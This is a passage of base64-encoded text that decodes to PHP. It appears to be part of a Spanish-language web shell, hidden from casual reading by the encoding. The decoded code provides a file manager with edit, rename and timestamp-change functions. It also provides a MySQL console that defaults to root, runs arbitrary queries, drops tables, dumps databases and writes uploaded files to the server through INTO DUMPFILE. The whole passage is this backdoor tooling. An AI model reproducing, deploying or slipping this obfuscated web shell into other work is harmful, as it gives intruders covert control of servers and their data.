nLiRmaWxlZGJbJ2ZpbGVwZXJtJ10uJzwvYT4nLiRmaWxlZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOw0KDQoJCQlwKCc8dGQgbm93cmFwPicpOw0KDQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2Rvd25maWxlXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkRlc2NhcmdhcjwvYT4gfCAnKTsNCg0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpjb3B5ZmlsZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Q29waWFyPC9hPiB8ICcpOw0KDQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ2VkaXRmaWxlXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPkVkaXRhcjwvYT4gfCAnKTsNCg0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpyZW5hbWUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPlJlbm9tYnJhcjwvYT4gfCAnKTsNCg0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpvcGZpbGUoXCduZXd0aW1lXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPlRpZW1wbzwvYT4nKTsNCg0KCQkJcCgnPC90ZD48L3RyPicpOw0KDQoJCQkkZmlsZV9pKys7DQoNCgkJfQ0KDQoJfQ0KDQoJcCgnPHRyIGNsYXNzPSInLmJnKCkuJyI+PHRkIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD48dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkb3ducmFyXCcpOyI+RGVzY2FyZ2FyIHNlbGVjY2lvbmFkb3M8L2E+IC0gPGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkZWxmaWxlc1wnKTsiPkJvcnJhciBzZWxlY2Npb25hZG9zPC9hPjwvdGQ+PHRkIGNvbHNwYW49IjQiIGFsaWduPSJyaWdodCI+Jy4kZGlyX2kuJyBkaXJlY3RvcmlvcyAvICcuJGZpbGVfaS4nIGFyY2hpdm9zPC90ZD48L3RyPicpOw0KDQoJcCgnPC9mb3JtPjwvdGFibGU+Jyk7DQoNCn0vLyBlbmQgZGlyDQoNCg0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGZpbGUnKSB7DQoNCglpZigkZG9pbmc9PSJteXNxbHVwbG9hZCIpew0KDQoJCSRmaWxlID0gJF9GSUxFU1sndXBsb2FkZmlsZSddOw0KDQoJCSRmaWxlbmFtZSA9ICRmaWxlWyd0bXBfbmFtZSddOw0KDQoJCWlmIChmaWxlX2V4aXN0cygkc2F2ZXBhdGgpKSB7DQoNCgkJCW0oJ0VsIGFyY2hpdm8geWEgZXhpc3RlJyk7DQoNCgkJfSBlbHNlIHsNCg0KCQkJaWYoISRmaWxlbmFtZSkgew0KDQoJCQkJbSgnRWxpamEgdW4gYXJjaGl2bycpOw0KDQoJCQl9IGVsc2Ugew0KDQoJCQkJJGZwPUBmb3BlbigkZmlsZW5hbWUsJ3InKTsNCg0KCQkJCSRjb250ZW50cz1AZnJlYWQoJGZwLCBmaWxlc2l6ZSgkZmlsZW5hbWUpKTsNCg0KCQkJCUBmY2xvc2UoJGZwKTsNCg0KCQkJCSRjb250ZW50cyA9IGJpbjJoZXgoJGNvbnRlbnRzKTsNCg0KCQkJCWlmKCEkdXBuYW1lKSAkdXBuYW1lID0gJGZpbGVbJ25hbWUnXTsNCg0KCQkJCW15ZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7DQoNCgkJCQkkcmVzdWx0ID0gcSgiU0VMRUNUIDB4eyRjb250ZW50c30gRlJPTSBteXNxbC51c2VyIElOVE8gRFVNUEZJTEUgJyRzYXZlcGF0aCc7Iik7DQoNCgkJCQltKCRyZXN1bHQgPyAnU3ViaWRhIGNvbiBleGl0bycgOiAnU3ViaWRhIGZhbGxpZGE6ICcubXlzcWxfZXJyb3IoKSk7DQoNCgkJCX0NCg0KCQl9DQoNCgl9DQoNCj8+DQoNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCg0KZnVuY3Rpb24gbXlzcWxmaWxlKGRvaW5nKXsNCg0KCWlmKCFkb2luZykgcmV0dXJuOw0KDQoJJCgnZG9pbmcnKS52YWx1ZT1kb2luZzsNCg0KCSQoJ215c3FsZmlsZScpLmRiaG9zdC52YWx1ZT0kKCdkYmluZm8nKS5kYmhvc3QudmFsdWU7DQoNCgkkKCdteXNxbGZpbGUnKS5kYnBvcnQudmFsdWU9JCgnZGJpbmZvJykuZGJwb3J0LnZhbHVlOw0KDQoJJCgnbXlzcWxmaWxlJykuZGJ1c2VyLnZhbHVlPSQoJ2RiaW5mbycpLmRidXNlci52YWx1ZTsNCg0KCSQoJ215c3FsZmlsZScpLmRicGFzcy52YWx1ZT0kKCdkYmluZm8nKS5kYnBhc3MudmFsdWU7DQoNCgkkKCdteXNxbGZpbGUnKS5kYm5hbWUudmFsdWU9JCgnZGJpbmZvJykuZGJuYW1lLnZhbHVlOw0KDQoJJCgnbXlzcWxmaWxlJykuY2hhcnNldC52YWx1ZT0kKCdkYmluZm8nKS5jaGFyc2V0LnZhbHVlOw0KDQoJJCgnbXlzcWxmaWxlJykuc3VibWl0KCk7DQoNCn0NCg0KPC9zY3JpcHQ+DQoNCjw/cGhwDQoNCgkhJGRiaG9zdCAmJiAkZGJob3N0ID0gJ2xvY2FsaG9zdCc7DQoNCgkhJGRidXNlciAmJiAkZGJ1c2VyID0gJ3Jvb3QnOw0KDQoJISRkYnBvcnQgJiYgJGRicG9ydCA9ICczMzA2JzsNCg0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidNWVNRTCBJbmZvJywnbmFtZSc9PidkYmluZm8nKSk7DQoNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsZmlsZScpOw0KDQoJcCgnPHA+Jyk7DQoNCglwKCdEQkhvc3Q6Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJob3N0Jywnc2l6ZSc9PjIwLCd2YWx1ZSc9PiRkYmhvc3QpKTsNCg0KCXAoJzonKTsNCg0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBvcnQnLCdzaXplJz0+NCwndmFsdWUnPT4kZGJwb3J0KSk7DQoNCglwKCdEQlVzZXI6Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJ1c2VyJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnVzZXIpKTsNCg0KCXAoJ0RCUGFzczonKTsNCg0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBhc3MnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRicGFzcykpOw0KDQoJcCgnREJOYW1lOicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RibmFtZScsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJuYW1lKSk7DQoNCglwKCdEQkNoYXJzZXQ6Jyk7DQoNCgltYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J2NoYXJzZXQnLCdvcHRpb24nPT4kY2hhcnNldGRiLCdzZWxlY3RlZCc9PiRjaGFyc2V0LCdub2tleSc9PjEpKTsNCg0KCXAoJzwvcD4nKTsNCg0KCWZvcm1mb290KCk7DQoNCglwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJteXNxbGZpbGUiIGlkPSJteXNxbGZpbGUiPicpOw0KDQoJcCgnPGgyPlN1YmlyIGFyY2hpdm88L2gyPicpOw0KDQoJcCgnPHA+PGI+UGFyYSByZWFsaXphciBlc3RvIGVsIHVzdWFyaW8gREIgZGViZSB0ZW5lciBwcml2aWxlZ2lvcyBGSUxFPC9iPjwvcD4nKTsNCg0KCXAoJzxwPlJ1dGEgZ3VhcmRhZG86IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InNhdmVwYXRoIiBzaXplPSI0NSIgdHlwZT0idGV4dCIgLz4gQ2hvb3NlIGEgZmlsZTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0idXBsb2FkZmlsZSIgdHlwZT0iZmlsZSIgLz4gPGEgaHJlZj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbHVwbG9hZFwnKTsiPlVwbG9hZDwvYT48L3A+Jyk7DQoNCglwKCc8aDI+RGVzY2FyZ2FyIGFyY2hpdm88L2gyPicpOw0KDQoJcCgnPHA+QXJjaGl2bzogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ibXlzcWxkbGZpbGUiIHNpemU9IjExNSIgdHlwZT0idGV4dCIgLz4gPGEgaHJlZj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbGRvd25cJyk7Ij5EZXNjYXJnYXI8L2E+PC9wPicpOw0KDQoJbWFrZWhpZGUoJ2RiaG9zdCcpOw0KDQoJbWFrZWhpZGUoJ2RicG9ydCcpOw0KDQoJbWFrZWhpZGUoJ2RidXNlcicpOw0KDQoJbWFrZWhpZGUoJ2RicGFzcycpOw0KDQoJbWFrZWhpZGUoJ2RibmFtZScpOw0KDQoJbWFrZWhpZGUoJ2NoYXJzZXQnKTsNCg0KCW1ha2VoaWRlKCdkb2luZycpOw0KDQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsNCg0KCXAoJzwvZm9ybT4nKTsNCg0KfQ0KDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdteXNxbGFkbWluJykgew0KDQoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOw0KDQoJISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsNCg0KCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7DQoNCgkkZGJmb3JtID0gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJjb25uZWN0IiBuYW1lPSJjb25uZWN0IiB2YWx1ZT0iMSIgLz4nOw0KDQoJaWYoaXNzZXQoJGRiaG9zdCkpew0KDQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYmhvc3RcIiBuYW1lPVwiZGJob3N0XCIgdmFsdWU9XCIkZGJob3N0XCIgLz5cbiI7DQoNCgl9DQoNCglpZihpc3NldCgkZGJ1c2VyKSkgew0KDQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnVzZXJcIiBuYW1lPVwiZGJ1c2VyXCIgdmFsdWU9XCIkZGJ1c2VyXCIgLz5cbiI7DQoNCgl9DQoNCglpZihpc3NldCgkZGJwYXNzKSkgew0KDQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBhc3NcIiBuYW1lPVwiZGJwYXNzXCIgdmFsdWU9XCIkZGJwYXNzXCIgLz5cbiI7DQoNCgl9DQoNCglpZihpc3NldCgkZGJwb3J0KSkgew0KDQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBvcnRcIiBuYW1lPVwiZGJwb3J0XCIgdmFsdWU9XCIkZGJwb3J0XCIgLz5cbiI7DQoNCgl9DQoNCglpZihpc3NldCgkZGJuYW1lKSkgew0KDQoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYm5hbWVcIiBuYW1lPVwiZGJuYW1lXCIgdmFsdWU9XCIkZGJuYW1lXCIgLz5cbiI7DQoNCgl9DQoNCglpZihpc3NldCgkY2hhcnNldCkpIHsNCg0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiY2hhcnNldFwiIG5hbWU9XCJjaGFyc2V0XCIgdmFsdWU9XCIkY2hhcnNldFwiIC8+XG4iOw0KDQoJfQ0KDQoNCg0KCWlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAkc2F2ZWFzZmlsZSkgew0KDQoJCWlmICghJHRhYmxlKSB7DQoNCgkJCW0oJ1BsZWFzZSBjaG9vc2UgdGhlIHRhYmxlJyk7DQoNCgkJfSBlbHNlIHsNCg0KCQkJbXlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsNCg0KCQkJJHRhYmxlID0gYXJyYXlfZmxpcCgkdGFibGUpOw0KDQoJCQkkZnAgPSBAZm9wZW4oJHBhdGgsJ3cnKTsNCg0KCQkJaWYgKCRmcCkgew0KDQoJCQkJJHJlc3VsdCA9IHEoJ1NIT1cgdGFibGVzJyk7DQoNCgkJCQlpZiAoISRyZXN1bHQpIHAoJzxoMj4nLm15c3FsX2Vycm9yKCkuJzwvaDI+Jyk7DQoNCgkJCQkkbXlzcWxkYXRhID0gJyc7DQoNCgkJCQl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoNCgkJCQkJaWYgKGlzc2V0KCR0YWJsZVskY3Vycm93WzBdXSkpIHsNCg0KCQkJCQkJc3FsZHVtcHRhYmxlKCRjdXJyb3dbMF0sICRmcCk7DQoNCgkJCQkJfQ0KDQoJCQkJfQ0KDQoJCQkJZmNsb3NlKCRmcCk7DQoNCgkJCQkkZmlsZXVybCA9IHN0cl9yZXBsYWNlKFNBX1JPT1QsJycsJHBhdGgpOw0KDQoJCQkJbSgnQmFja3VwIGNyZWFkbyBlbiA8YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRwYXRoLic8L2E+Jyk7DQoNCgkJCQlteXNxbF9jbG9zZSgpOw0KDQoJCQl9IGVsc2Ugew0KDQoJCQkJbSgnQmFja3VwIGZhbGxpZG8nKTsNCg0KCQkJfQ0KDQoJCX0NCg0KCX0NCg0KCWlmICgkaW5zZXJ0ICYmICRpbnNlcnRzcWwpIHsNCg0KCQkka2V5c3RyID0gJHZhbHN0ciA9ICR0bXAgPSAnJzsNCg0KCQlmb3JlYWNoKCRpbnNlcnRzcWwgYXMgJGtleSA9PiAkdmFsKSB7DQoNCgkJCWlmICgkdmFsKSB7DQoNCgkJCQkka2V5c3RyIC49ICR0bXAuJGtleTsNCg0KCQkJCSR2YWxzdHIgLj0gJHRtcC4iJyIuYWRkc2xhc2hlcygkdmFsKS4iJyI7DQoNCgkJCQkkdG1wID0gJywnOw0KDQoJCQl9DQoNCgkJfQ0KDQoJCWlmICgka2V5c3RyICYmICR2YWxzdHIpIHsNCg0KCQkJbXlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsNCg0KCQkJbShxKCJJTlNFUlQgSU5UTyAkdGFibGVuYW1lICgka2V5c3RyKSBWQUxVRVMgKCR2YWxzdHIpIikgPyAnSW5ncmVzZSBudWV2byByZWdpc3RybycgOiBteXNxbF9lcnJvcigpKTsJCX0NCg0KCX0NCg0KCWlmICgkdXBkYXRlICYmICRpbnNlcnRzcWwgJiYgJGJhc2U2NCkgew0KDQoJCSR2YWxzdHIgPSAkdG1wID0gJyc7DQoNCgkJZm9yZWFjaCgkaW5zZXJ0c3FsIGFzICRrZXkgPT4gJHZhbCkgew0KDQoJCQkkdmFsc3RyIC49ICR0bXAuJGtleS4iPSciLmFkZHNsYXNoZXMoJHZhbCkuIiciOw0KDQoJCQkkdG1wID0gJywnOw0KDQoJCX0NCg0KCQlpZiAoJHZhbHN0cikgew0KDQoJCQkkd2hlcmUgPSBiYXNlNjRfZGVjb2RlKCRiYXNlNjQpOw0KDQoJCQlteWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KDQoJCQltKHEoIlVQREFURSAkdGFibGVuYW1lIFNFVCAkdmFsc3RyIFdIRVJFICR3aGVyZSBMSU1JVCAxIikgPyAnQWN0dWFsaXphbmRvIHJlZ2lzdHJvJyA6IG15c3FsX2Vycm9yKCkpOw0KDQoJCX0NCg0KCX0NCg0KCWlmICgkZG9pbmcgPT0gJ2RlbCcgJiYgJGJhc2U2NCkgew0KDQoJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoNCgkJJGRlbGV0ZV9zcWwgPSAiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUiOw0KDQoJCW15ZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7DQoNCgkJbShxKCJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSIpID8gJ0JvcnJhbmRvIHJlZ2lzdHJvJyA6IG15c3FsX2Vycm9yKCkpOw0KDQoJfQ0KDQoNCg0KCWlmICgkdGFibGVuYW1lICYmICRkb2luZyA9PSAnZHJvcCcpIHsNCg0KCQlteWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KDQoJCWlmIChxKCJEUk9QIFRBQkxFICR0YWJsZW5hbWUiKSkgew0KDQoJCQltKCdEcm9wIHRhYmxlIGV4aXRvc28nKTsNCg0KCQkJJHRhYmxlbmFtZSA9ICcnOw0KDQoJCX0gZWxzZSB7DQoNCgkJCW0obXlzcWxfZXJyb3IoKSk7DQoNCgkJfQ0KDQoJfQ0KDQoNCg0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidNWVNRTCcpKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdteXNxbGFkbWluJyk7DQoNCglwKCc8cD4nKTsNCg0KCXAoJ0RCSG9zdDonKTsNCg0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOw0KDQoJcCgnOicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicG9ydCcsJ3NpemUnPT40LCd2YWx1ZSc9PiRkYnBvcnQpKTsNCg0KCXAoJ0RCVXNlcjonKTsNCg0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnVzZXInLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRidXNlcikpOw0KDQoJcCgnREJQYXNzOicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7DQoNCglwKCdEQkNoYXJzZXQ6Jyk7DQoNCgltYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J2NoYXJzZXQnLCdvcHRpb24nPT4kY2hhcnNldGRiLCdzZWxlY3RlZCc9PiRjaGFyc2V0LCdub2tleSc9PjEpKTsNCg0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidjb25uZWN0JywndmFsdWUnPT4nQ29uZWN0YXInLCd0eXBlJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JykpOw0KDQoJcCgnPC9wPicpOw0KDQoJZm9ybWZvb3QoKTsNCg0KPz4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KDQpmdW5jdGlvbiBlZGl0cmVjb3JkKGFjdGlvbiwgYmFzZTY0LCB0YWJsZW5hbWUpew0KDQoJaWYgKGFjdGlvbiA9PSAnZGVsJykgewkJDQoNCgkJaWYgKCFjb25maXJtKCdJcyBvciBpc25cJ3QgZGVsZXRpb24gcmVjb3JkPycpKSByZXR1cm47DQoNCgl9DQoNCgkkKCdyZWNvcmRsaXN0JykuZG9pbmcudmFsdWU9YWN0aW9uOw0KDQoJJCgncmVjb3JkbGlzdCcpLmJhc2U2NC52YWx1ZT1iYXNlNjQ7DQoNCgkkKCdyZWNvcmRsaXN0JykudGFibGVuYW1lLnZhbHVlPXRhYmxlbmFtZTsNCg0KCSQoJ3JlY29yZGxpc3QnKS5zdWJtaXQoKTsNCg0KfQ0KDQpmdW5jdGlvbiBtb2RkYm5hbWUoZGJuYW1lKSB7DQoNCglpZighZGJuYW1lKSByZXR1cm47DQoNCgkkKCdzZXRkYm5hbWUnKS5kYm5hbWUudmFsdWU9ZGJuYW1lOw0KDQoJJCgnc2V0ZGJuYW1lJykuc3VibWl0KCk7DQoNCn0NCg0KZnVuY3Rpb24gc2V0dGFibGUodGFibGVuYW1lLGRvaW5nLHBhZ2UpIHsNCg0KCWlmKCF0YWJsZW5hbWUpIHJldHVybjsNCg0KCWlmIChkb2luZykgew0KDQoJCSQoJ3NldHRhYmxlJykuZG9pbmcudmFsdWU9ZG9pbmc7DQoNCgl9DQoNCglpZiAocGFnZSkgew0KDQoJCSQoJ3NldHRhYmxlJykucGFnZS52YWx1ZT1wYWdlOw0KDQoJfQ0KDQoJJCgnc2V0dGFibGUnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOw0KDQoJJCgnc2V0dGFibGUnKS5zdWJtaXQoKTsNCg0KfQ0KDQo8L3NjcmlwdD4NCg0KPD9waHANCg0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3JlY29yZGxpc3QnKSk7DQoNCgltYWtlaGlkZSgnZG9pbmcnKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdteXNxbGFkbWluJyk7DQoNCgltYWtlaGlkZSgnYmFzZTY0Jyk7DQoNCgltYWtlaGlkZSgndGFibGVuYW1lJyk7DQoNCglwKCRkYmZvcm0pOw0KDQoJZm9ybWZvb3QoKTsNCg0KDQoNCgkvLyYjMTEyMTsmIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxOTE5OyYjMTI5O38NCg0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3NldGRibmFtZScpKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdteXNxbGFkbWluJyk7DQoNCglwKCRkYmZvcm0pOw0KDQoJaWYgKCEkZGJuYW1lKSB7DQoNCgkJbWFrZWhpZGUoJ2RibmFtZScpOw0KDQoJfQ0KDQoJZm9ybWZvb3QoKTsNCg0KDQoNCgkvLyYjMTEyMTsmIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/DQoNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXR0YWJsZScpKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdteXNxbGFkbWluJyk7DQoNCglwKCRkYmZvcm0pOw0KDQoJbWFrZWhpZGUoJ3RhYmxlbmFtZScpOw0KDQoJbWFrZWhpZGUoJ3BhZ2UnLCRwYWdlKTsNCg0KCW1ha2VoaWRlKCdkb2luZycpOw0KDQoJZm9ybWZvb3QoKTsNCg0KDQoNCgkkY2FjaGV0YWJsZXMgPSBhcnJheSgpOwkNCg0KCSRwYWdlbnVtID0gMzA7DQoNCgkkcGFnZSA9IGludHZhbCgkcGFnZSk7DQoNCglpZigkcGFnZSkgew0KDQoJCSRzdGFydF9saW1pdCA9ICgkcGFnZSAtIDEpICogJHBhZ2VudW07DQoNCgl9IGVsc2Ugew0KDQoJCSRzdGFydF9saW1pdCA9IDA7DQoNCgkJJHBhZ2UgPSAxOw0KDQoJfQ0KDQoJaWYgKGlzc2V0KCRkYmhvc3QpICYmIGlzc2V0KCRkYnVzZXIpICYmIGlzc2V0KCRkYnBhc3MpICYmIGlzc2V0KCRjb25uZWN0KSkgew0KDQoJCW15ZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsNCg0KCQkkbXlzcWx2ZXIgPSBteXNxbF9nZXRfc2VydmVyX2luZm8oKTsNCg0KCQlwKCc8cD5NeVNRTCAnLiRteXNxbHZlci4nIGVqZWN1dGFuZG9zZSBlbiAnLiRkYmhvc3QuJyBjb21vICcuJGRidXNlci4nQCcuJGRiaG9zdC4nPC9wPicpOw0KDQoJCSRoaWdodmVyID0gJG15c3FsdmVyID4gJzQuMScgPyAxIDogMDsNCg0KDQoNCgkJJHF1ZXJ5ID0gcSgiU0hPVyBEQVRBQkFTRVMiKTsNCg0KCQkkZGJzID0gYXJyYXkoKTsNCg0KCQkkZGJzW10gPSAnLS0gU2VsZWNjaW9uZSB1bmEgZGF0YWJhc2UgLS0nOw0KDQoJCXdoaWxlKCRkYiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCg0KCQkJJGRic1skZGJbJ0RhdGFiYXNlJ11dID0gJGRiWydEYXRhYmFzZSddOw0KDQoJCX0NCg0KCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidTZWxlY2Npb25lIHVuYSBkYXRhYmFzZTonLCduYW1lJz0+J2RiW10nLCdvcHRpb24nPT4kZGJzLCdzZWxlY3RlZCc9PiRkYm5hbWUsJ29uY2hhbmdlJz0+J21vZGRibmFtZSh0aGlzLm9wdGlvbnNbdGhpcy5zZWxlY3RlZEluZGV4XS52YWx1ZSknLCduZXdsaW5lJz0+MSkpOw0KDQoJCSR0YWJsZWRiID0gYXJyYXkoKTsNCg0KCQlpZiAoJGRibmFtZSkgew0KDQoJCQlwKCc8cD4nKTsNCg0KCQkJcCgnRGF0YWJhc2U6IDxhIGhyZWY9ImphdmFzY3JpcHQ6bW9kZGJuYW1lKFwnJy4kZGJuYW1lLidcJyk7Ij4nLiRkYm5hbWUuJzwvYT4nKTsNCg0KCQkJaWYgKCR0YWJsZW5hbWUpIHsNCg0KCQkJCXAoJyB8IFRhYmxhIGFjdHVhbDogPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcpOyI+Jy4kdGFibGVuYW1lLic8L2E+IFsgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ3N0cnVjdHVyZVwnKTsiPlN0cnVjdHVyZTwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdkcm9wXCcpOyI+RHJvcDwvYT4gXScpOw0KDQoJCQl9DQoNCgkJCXAoJzwvcD4nKTsNCg0KCQkJbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOw0KDQoNCg0KCQkJJGdldG51bXNxbCA9ICcnOw0KDQoJCQkkcnVucXVlcnkgPSAwOw0KDQoJCQlpZiAoJHNxbF9xdWVyeSkgew0KDQoJCQkJJHJ1bnF1ZXJ5ID0gMTsNCg0KCQkJfQ0KDQoJCQkkYWxsb3dlZGl0ID0gMDsNCg0KCQkJaWYgKCR0YWJsZW5hbWUgJiYgISRzcWxfcXVlcnkpIHsNCg0KCQkJCSRzcWxfcXVlcnkgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCg0KCQkJCSRnZXRudW1zcWwgPSAkc3FsX3F1ZXJ5Ow0KDQoJCQkJJHNxbF9xdWVyeSA9ICRzcWxfcXVlcnkuIiBMSU1JVCAkc3RhcnRfbGltaXQsICRwYWdlbnVtIjsNCg0KCQkJCSRhbGxvd2VkaXQgPSAxOw0KDQoJCQl9DQoNCgkJCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiPicpOw0KDQoJCQlwKCc8cD48dGFibGUgd2lkdGg9IjIwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPjx0cj48dGQgY29sc3Bhbj0iMiI+RWplY3V0YXIgUXVlcnkgU1FMJy4kZGJuYW1lLic6PC90ZD48L3RyPjx0cj48dGQ+PHRleHRhcmVhIG5hbWU9InNxbF9xdWVyeSIgY2xhc3M9ImFyZWEiIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6NTBweDtvdmVyZmxvdzphdXRvOyI+Jy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnksRU5UX1FVT1RFUykuJzwvdGV4dGFyZWE+PC90ZD48dGQgc3R5bGU9InBhZGRpbmc6MCA1cHg7Ij48aW5wdXQgY2xhc3M9ImJ0IiBzdHlsZT0iaGVpZ2h0OjUwcHg7IiBuYW1lPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVqZWN1dGFyIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvcD4nKTsNCg0KCQkJbWFrZWhpZGUoJ3R